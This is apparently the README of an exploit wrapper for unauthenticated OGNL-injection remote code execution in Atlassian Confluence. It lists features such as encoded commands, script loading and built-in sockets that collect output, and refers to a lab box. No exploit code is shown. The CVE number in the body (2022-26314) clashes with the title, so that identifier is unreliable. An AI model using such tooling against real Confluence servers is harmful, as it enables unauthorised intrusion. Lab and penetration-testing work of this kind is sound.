CVE-2022-26134 - Atlassian Confluence OGNL RCE

This script is a wrapper over an unauthenticated remote code execution via OGNL injection exploit primitive in Confluence Data Center and Server (CVE-2022-26314).

Vendor advisory

Originally inspired by the PoC jbaines-r7/through_the_wire.

I added the following features for convenience:

base64-encode the RCE command
read from scripts with -c @/path/to/file (shebang-aware)
Python-native sockets for command and file read output; no external netcat listener
preliminary vulnerability check
Metasploit-style iface -> addr LHOST resolution

Example Usage

Some examples from the Proving Grounds box Flu:
